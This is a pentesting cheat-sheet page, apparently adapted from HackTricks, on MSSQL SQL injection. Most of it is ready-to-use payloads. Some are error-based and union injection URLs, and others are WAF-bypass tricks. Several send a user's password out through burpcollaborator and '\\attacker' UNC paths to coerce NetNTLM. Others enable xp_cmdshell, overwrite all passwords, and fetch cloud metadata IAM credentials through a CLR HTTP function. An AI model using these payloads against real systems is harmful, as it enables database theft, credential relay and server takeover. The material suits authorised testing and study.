daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

mssql-injection.md (16579B)


      1 ---
      2 title: "MSSQL Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/mssql-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/mssql-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # MSSQL Injection
     14 
     15 ## Active Directory enumeration
     16 
     17 It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions:
     18 
     19 - **`SELECT DEFAULT_DOMAIN()`**: Get current domain name.
     20 - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\
     21   This function will allow you to **know the ID of the domain** (all the bytes except of the last 4).
     22 - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
     23 
     24 ```python
     25 def get_sid(n):
     26 	domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
     27 	user = struct.pack('<I', int(n))
     28 	user = user.hex()
     29 	return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
     30 ```
     31 
     32 ## **Alternative Error-Based vectors**
     33 
     34 Error-based SQL injections typically resemble constructions such as `+AND+1=@@version--` and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
     35 
     36 Some examples of such functions:
     37 
     38 - `SUSER_NAME()`
     39 - `USER_NAME()`
     40 - `PERMISSIONS()`
     41 - `DB_NAME()`
     42 - `FILE_NAME()`
     43 - `TYPE_NAME()`
     44 - `COL_NAME()`
     45 
     46 Example use of function `USER_NAME()`:
     47 
     48 ```text
     49 https://vuln.app/getItem?id=1'%2buser_name(@@version)--
     50 ```
     51 
     52 ![Active Directory enumeration - Alternative Error-Based vectors: https://vuln.app/getItem?id=1'%2buser name(@@version)](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
     53 
     54 ## SSRF
     55 
     56 These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)<sup>[[1]](#references)</sup>
     57 
     58 ### `fn_xe_file_target_read_file`
     59 
     60 It requires **`VIEW SERVER STATE`** on SQL Server 2019 and earlier. On SQL Server 2022+ the relevant permission is **`VIEW SERVER PERFORMANCE STATE`** (or **`VIEW DATABASE PERFORMANCE STATE`** in database-scoped scenarios). In Azure SQL Database / Managed Instance the function reads `https://` blob URLs rather than local/UNC paths, so the classic `\\attacker\...` OOB trick is mainly useful against on-prem SQL Server.
     61 
     62 ```text
     63 https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
     64 ```
     65 
     66 ```sql
     67 # Check if you have it
     68 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name IN ('VIEW SERVER STATE', 'VIEW SERVER PERFORMANCE STATE');
     69 SELECT * FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name='VIEW DATABASE PERFORMANCE STATE';
     70 # Or doing
     71 Use master;
     72 EXEC sp_helprotect 'fn_xe_file_target_read_file';
     73 ```
     74 
     75 ### `fn_get_audit_file`
     76 
     77 It requires the **`CONTROL SERVER`** permission on SQL Server 2019 and earlier. On SQL Server 2022+ **`VIEW SERVER SECURITY AUDIT`** is enough to read audit files.
     78 
     79 ```text
     80 https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
     81 ```
     82 
     83 ```sql
     84 # Check if you have it
     85 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name IN ('CONTROL SERVER', 'VIEW SERVER SECURITY AUDIT');
     86 # Or doing
     87 Use master;
     88 EXEC sp_helprotect 'fn_get_audit_file';
     89 ```
     90 
     91 ### `fn_trace_gettable`
     92 
     93 It requires the **`CONTROL SERVER`** permission.
     94 
     95 ```text
     96 https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
     97 ```
     98 
     99 ```sql
    100 # Check if you have it
    101 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
    102 # Or doing
    103 Use master;
    104 EXEC sp_helprotect 'fn_trace_gettable';
    105 ```
    106 
    107 ### `xp_dirtree`, `xp_fileexist`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
    108 
    109 Stored procedures like `xp_dirtree`, though not officially documented by Microsoft, have been described by others online due to their utility in network operations within MSSQL. These procedures are often used in Out of Band Data exfiltration, as showcased in various [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) and [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
    110 
    111 The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below:
    112 
    113 ```sql
    114 DECLARE @user varchar(100);
    115 SELECT @user = (SELECT user);
    116 EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
    117 ```
    118 
    119 It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings.
    120 
    121 Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
    122 
    123 ### `OPENROWSET(BULK...)` and `BULK INSERT`
    124 
    125 If you have stacked queries and bulk permissions, `OPENROWSET(BULK...)` is very handy in SQLi because it can both **read local files** and **touch attacker-controlled UNC paths**. When the login uses SQL Server authentication, remote file access is performed with the **SQL Server service account** security context, so this can leak or relay the **NetNTLM** of the service account instead of only reading a file.<sup>[[3]](#references)</sup>
    126 
    127 ```sql
    128 -- Read a local file
    129 SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x;
    130 
    131 -- Error-based variant
    132 https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:/Windows/win.ini',SINGLE_CLOB)+R(x))--
    133 
    134 -- SMB/UNC coercion
    135 CREATE TABLE #TEXTFILE (column1 NVARCHAR(100));
    136 BULK INSERT #TEXTFILE FROM '\\attacker\share\file';
    137 DROP TABLE #TEXTFILE;
    138 ```
    139 
    140 ```sql
    141 # Check if you have it
    142 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS';
    143 SELECT * FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name='ADMINISTER DATABASE BULK OPERATIONS';
    144 SELECT IS_SRVROLEMEMBER('bulkadmin');
    145 ```
    146 
    147 On Azure SQL Database / Managed Instance the bulk providers are usually backed by **blob/URI** sources instead of on-prem UNC paths, so the SMB trick is mainly useful against classic SQL Server deployments.
    148 
    149 On **legacy** targets, `BACKUP ... TO DISK='\\attacker\file'` and `RESTORE ... FROM DISK='\\attacker\file'` used to resolve the UNC path **before** authorization checks. MS16-136 killed that primitive on supported versions, so treat it mostly as an **old-build / SQL Server 2008-era** trick.
    150 
    151 For a broader post-auth view of file reads and OS interaction, also check:
    152 
    153 [Pentesting Mssql Microsoft Sql Server](/hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/overview)
    154 
    155 ### `sys.dm_os_enumerate_filesystem`, `sys.dm_os_file_exists`
    156 
    157 If `xp_dirtree` / `xp_fileexist` have been revoked, recent research showed that DMFs such as `sys.dm_os_enumerate_filesystem` and `sys.dm_os_file_exists` can still **coerce SMB authentication** from the SQL Server service account and may even return filesystem metadata:<sup>[[4]](#references)</sup>
    158 
    159 ```sql
    160 SELECT * FROM sys.dm_os_enumerate_filesystem('\\attacker\share', '*');
    161 SELECT * FROM sys.dm_os_file_exists('\\attacker\share\file');
    162 ```
    163 
    164 If you get permission errors, test from the current context and enumerate state-style permissions first:
    165 
    166 ```sql
    167 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name IN ('VIEW SERVER STATE', 'VIEW SERVER PERFORMANCE STATE');
    168 SELECT * FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name IN ('VIEW DATABASE STATE', 'VIEW DATABASE PERFORMANCE STATE');
    169 ```
    170 
    171 ### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
    172 
    173 Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page:
    174 
    175 
    176 [Pentesting Mssql Microsoft Sql Server](/hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/overview)
    177 
    178 ### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
    179 
    180 Creating a CLR UDF (Common Language Runtime User Defined Function), which is code authored in any .NET language and compiled into a DLL, to be loaded within MSSQL for executing custom functions, is a process that requires `dbo` access. This means it is usually feasible only when the database connection is made as `sa` or with an Administrator role.
    181 
    182 A Visual Studio project and installation instructions are provided in [this Github repository](https://github.com/infiniteloopltd/SQLHttp) to facilitate the loading of the binary into MSSQL as a CLR assembly, thereby enabling the execution of HTTP GET requests from within MSSQL.
    183 
    184 The core of this functionality is encapsulated in the `http.cs` file, which employs the `WebClient` class to execute a GET request and retrieve content as illustrated below:
    185 
    186 ```csharp
    187 using System.Data.SqlTypes;
    188 using System.Net;
    189 
    190 public partial class UserDefinedFunctions
    191 {
    192     [Microsoft.SqlServer.Server.SqlFunction]
    193     public static SqlString http(SqlString url)
    194     {
    195         var wc = new WebClient();
    196         var html = wc.DownloadString(url.Value);
    197         return new SqlString(html);
    198     }
    199 }
    200 ```
    201 
    202 Before executing the `CREATE ASSEMBLY` SQL command, it is advised to run the following SQL snippet to add the SHA512 hash of the assembly to the server's list of trusted assemblies (viewable via `select * from sys.trusted_assemblies;`):
    203 
    204 ```sql
    205 EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
    206 ```
    207 
    208 After successfully adding the assembly and creating the function, the following SQL code can be utilized to perform HTTP requests:
    209 
    210 ```sql
    211 DECLARE @url varchar(max);
    212 SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
    213 SELECT dbo.http(@url);
    214 ```
    215 
    216 ### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query**
    217 
    218 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).<sup>[[1]](#references)</sup>
    219 
    220 A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity.
    221 
    222 Here's how to retrieve the schema, tables, and columns from the current database:
    223 
    224 ````sql
    225 https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
    226 In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
    227 
    228 ```sql
    229 https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
    230 ````
    231 
    232 ### Retrieving the Current Query
    233 
    234 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).<sup>[[1]](#references)</sup>
    235 
    236 For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
    237 
    238 ```sql
    239 https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
    240 ```
    241 
    242 To check if you have the VIEW SERVER STATE permission, the following query can be used:
    243 
    244 ```sql
    245 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
    246 ```
    247 
    248 ## **Little tricks for WAF bypasses**
    249 
    250 [Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)<sup>[[1]](#references)</sup>
    251 
    252 Non-standard whitespace characters: %C2%85 или %C2%A0:
    253 
    254 ```text
    255 https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
    256 ```
    257 
    258 Scientific (0e) and hex (0x) notation for obfuscating UNION:
    259 
    260 ```text
    261 https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
    262 
    263 https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
    264 ```
    265 
    266 A period instead of a whitespace between FROM and a column name:
    267 
    268 ```text
    269 https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
    270 ```
    271 
    272 \N separator between SELECT and a throwaway column:
    273 
    274 ```text
    275 https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
    276 ```
    277 
    278 ### WAF Bypass with unorthodox stacked queries
    279 
    280 According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":<sup>[[2]](#references)</sup>
    281 
    282 ```sql
    283 SELECT 'a' SELECT 'b'
    284 ```
    285 
    286 So for example, multiple queries such as:
    287 
    288 ```sql
    289 use [tempdb]
    290 create table [test] ([id] int)
    291 insert [test] values(1)
    292 select [id] from [test]
    293 drop table[test]
    294 ```
    295 
    296 Can be reduced to:
    297 
    298 ```sql
    299 use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
    300 ```
    301 
    302 Therefore it could be possible to bypass different WAFs that don't consider this form of stacked queries. For example:
    303 
    304 ```text
    305 # Adding a useless exec() at the end and making the WAF think this isn't a valid query
    306 admina'union select 1,'admin','testtest123'exec('select 1')--
    307 ## This will be:
    308 SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
    309 exec('select 1')--'
    310 
    311 # Using weirdly built queries
    312 admin'exec('update[users]set[password]=''a''')--
    313 ## This will be:
    314 SELECT id, username, password FROM users WHERE username = 'admin'
    315 exec('update[users]set[password]=''a''')--'
    316 
    317 # Or enabling xp_cmdshell
    318 admin'exec('sp_configure''show advanced options'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
    319 ## This will be
    320 select * from users where username = ' admin'
    321 exec('sp_configure''show advanced options'',''1''reconfigure')
    322 exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
    323 ```
    324 
    325 
    326 ## References
    327 
    328 - [1] [Advanced MSSQL Injection Tricks](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
    329 - [2] [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice](https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
    330 - [3] [SQL Server - UNC Path Injection Cheat Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet)
    331 - [4] [Where There Is MSSQL, There Is A Way](https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way)